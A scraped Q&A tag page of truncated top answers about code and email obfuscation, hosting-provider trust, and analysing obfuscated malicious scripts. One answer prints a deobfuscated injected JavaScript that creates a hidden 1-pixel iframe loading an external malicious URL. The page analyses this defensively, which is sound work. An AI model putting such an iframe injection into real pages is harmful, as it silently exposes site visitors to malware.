Tag Info

Hot answers tagged

78

A malicious hosting provider can do a lot more than simply steal your code. They can modify it to introduce backdoors, they can steal your clients' data, and ruin your whole business. Trust must exist between you and the host. About the source code. If the attacker is trying to gain access to your source code, they will gain access to your source code, ...


78

First of all, your security guy is likely right. It doesn't look like you have anything to worry about because from your description of the issue and the guy's response I think that the script tags were properly encoded. Think of it as a neutralized weapon. It's there, yes, but it cannot do any damage. Running that code through a deobfuscator gives us ...


52

To understand this, we must understand how crawlers find the email. While steering away from the technicals, the basic idea is this (today's algorithms are, of course, smarter than that): Find @ in the page. Is there a dot within 255 characters after the @? Grab what's behind the @ until you reach a space or the beginning of the line. Grab the . and what's ...


33

Well, this calls for three comments: You cannot protect secrets with code obfuscation. Not really. Code obfuscation somehow works against unmotivated attackers, but it is not strong. If there is commercial value in breaking through it, then it will happen. If you don't trust your hosting service then look for another hosting service. If the secrecy of your ...


28

No, it isn’t worth it. Nobody wants to steal your code. A thousand million SaaS products have been launched by individuals and companies using third-party hosting of some description or another, and roughly none of them have found themselves to be competing against themselves after having the code for their products stolen by their hosts. So, should you ...


23

The first (in bold) code is actually this: Decoded with deobfuscatejavascript.com (function() { var pzt = document.createElement('iframe'); pzt.src = 'http://www.betterbailbonds.net/VLNSec01/cnt.php'; pzt.style.position = 'absolute'; pzt.style.border = '0'; pzt.style.height = '1px'; pzt.style.width = '1px'; pzt.style.left = ...


21

The Code Golf is essentially to create an unkeyed 1:1 function to transform images. As such, it's highly vulnerable to chosen-plaintext attacks: if an attacker can convince Alice or Bob to transmit a carefully-crafted image, they can build up a map of what pixels get moved to where for that image size. Further, if the images being transmitted have ...


18

In addition to Adnan's answer: This is a by-product of when an attacker fuzzes your application (he just sends tons of payloads to see if one works). If your application handles encoding and escaping of user input correctly, you should not need to worry about being vulnerable. There are some countermeasures you can take to reduce these attacks such as ...


16

This isn't aimed at defeating human analysis, it's aimed at defeating intrusion detection / prevention systems, and other automated scans, as the code comes into the network. PHP is a Turing-complete language, which means that a single piece of code can be represented in a near-infinite number of ways. Automated systems have limited resources, and are ...


13

You're very much getting into the realm of "Here be dragons" when you look into hardware manipulation like this. I don't know of any research or in-the-wild attack that has done any practical experimentation with this, so my answer will be purely academic. First, it's probably best if I explain a bit about how microcode works. If you're already clued up on ...


13

Obfuscation might look as the first obvious step, but obfuscation has to protect something in the code and that something cannot be webservice functionality because that is reverse engineered by intercepting the traffic even if it is SSL encrypted. Certificate pinning can prevent simple SSL interception by trusting a predefined certificate. You can ...


13

Basically this is a transposition cipher. What you would do is looking for pattern and rearrange like with this text example: http://www.richkni.co.uk/php/crypta/trans0.php Your example with grey scale text would be easier as the picture on code golf because you could see very easy what is a correct solution.


12

Obfuscation is ineffective against a determined attacker, it only makes it slightly more difficult. If you have a particular reason to distrust your hosting provider, get another. If you just want to be safe, get a non-disclosure agreement and other legal assurances that allow you to go after your host if they abuse things. If you still don't trust ...


11

I think the operative word in the question is "afraid." The aversion is based on fear, not fact. The reality is, the threat model isn't particularly realistic. Commercial web software development companies nearly universally use JavaScript these days, obfuscated or otherwise, and I challenge you to find me even a single example of one that's had it's JS ...


11

Although modern x86 processors allow for runtime microcode upload, the format is model-specific, undocumented, and controlled by checksums and possibly signatures. Also, the scope of microcode is somewhat limited nowadays, because most instructions are hardwired. See this answer for some details. Modern operating systems upload microcode blocks upon boot, ...


9

Nasty little bit of code It's likely a botnet setup or a backdoor for script kiddies. Would need to see what they're passing as vars and URLs to tell you what they're hitting you with, but this is a backdoor test script that tries several known exploits to pass information to your server. They're usually injected either via MySQL Injection Attack and ...


9

I wouldn't bother. Two reasons: Runtime interpreted languages really cannot be fully protected that way. To completely obfuscate it you would have to obfuscate it from the runtime as well, then there would be no way to execute it. Obfuscation just makes the task slightly more annoying. It can also make debugging and deployment more time consuming for ...


9

To my humble opinion, email obfuscation (of any sort) is one of the worse ideas ever invented. The foremost concern for any user interface, web based or any other, is convenience and safety of its users. Spam bots are not users, thus they are not worth any consideration or effort. The logic goes as following: E-mail obfuscation is a nuisance for ...


9

The article actually describes two constructions, the second one using the first one as a building tool. The first construction provides indistinguishability obfuscation while the second one is functional encryption. Indistinguishability obfuscation is a rather esoteric property, which is not what non-academic think about when they hear "obfuscation"; the ...


9

Fundamentally you cannot secure your client. At best you can obscure and obfuscate in order to make it more difficult for an attacker to modify the client. You mention that it is not a security issue because the server is properly secured, but merely an annoyance. It may be more annoying to try to obscure your client than to let a few modified clients make ...


8

I have never understood the paradigm since its conception. We are simply depriving spam battling software the necessary data. As mentioned before, adding "at" "dot" to the parser is trivial too. I would actually urge otherwise. Let the hell loose. Use your email and use any email for that matter. I even wrote a bot 10 years ago or so, where it produced ...


7

One of the rules of security is: If the attacker has access to your box, it is his This includes root access, or physical access. As root on a server an attacker can do anything. So, what this means is you should be focusing more on prevention and detection. If you can place controls that make it difficult enough for an attacker that you spot them ...


7

Let's suppose that in your app (let's call it App1), the user already has to enter some credentials C1 (name and password) which App1 uses when it connects to your central database. Right now, your central database contains C2 as cleartext, to be used when App1 connects to App2. Let H() be a hash function with a large output, say SHA-512. When the user ...


7

None. If they don't decompile your app, they will just put it through a proxy with it's own SSL certificate. Your client can't provide security for your backend.


6

Essentially it XORs two strings together and then executes the result. You can view the original code just by XORing the two strings and printing the result instead. I stripped off the ''=~('(?{'.( and ).'$/})'); bits and wrapped it in a print statement, and here's what I got: Some random malware (pastebin)


6

Locally done This could by done easily with standard stuff: One of the advantages is that could be done offline, as @D3C4FF commented. .0 Preamble warning: execution of bad code may be harmfull, so using a special user account with no right on your host and personal stuff is strongly recommanded! There is a kind of temporary trick, I use: #!/bin/bash ...


6

No. Obfuscating Javascript usually makes no sense whatsoever. Always assume that any logic you place on the client side can easily be obtained by a determined enough attack no matter how you obfuscate it. Your "important" logic should be stored server side.


6

You should take precautions to protect yourself, but not for the reasons or from the threat that you're imagining. First of all, if you can't trust your hosting provider, get a new hosting provider. No more needs to be said about that. Second, even though you think that the intellectual property in the web application you've built is valuable, chances are ...


5

You seem to already know that obfuscation isn't actual protection, so I'm not gonna lecture you on security by obscurity. What makes sense is this: Put your competitive code on the server to protect it, then obfuscate client-side code as much as you want. Granted, it won't give you much security but it'll definitely deter kiddies snooping around, and it'll ...



Only top voted, non community-wiki answers of a minimum length are eligible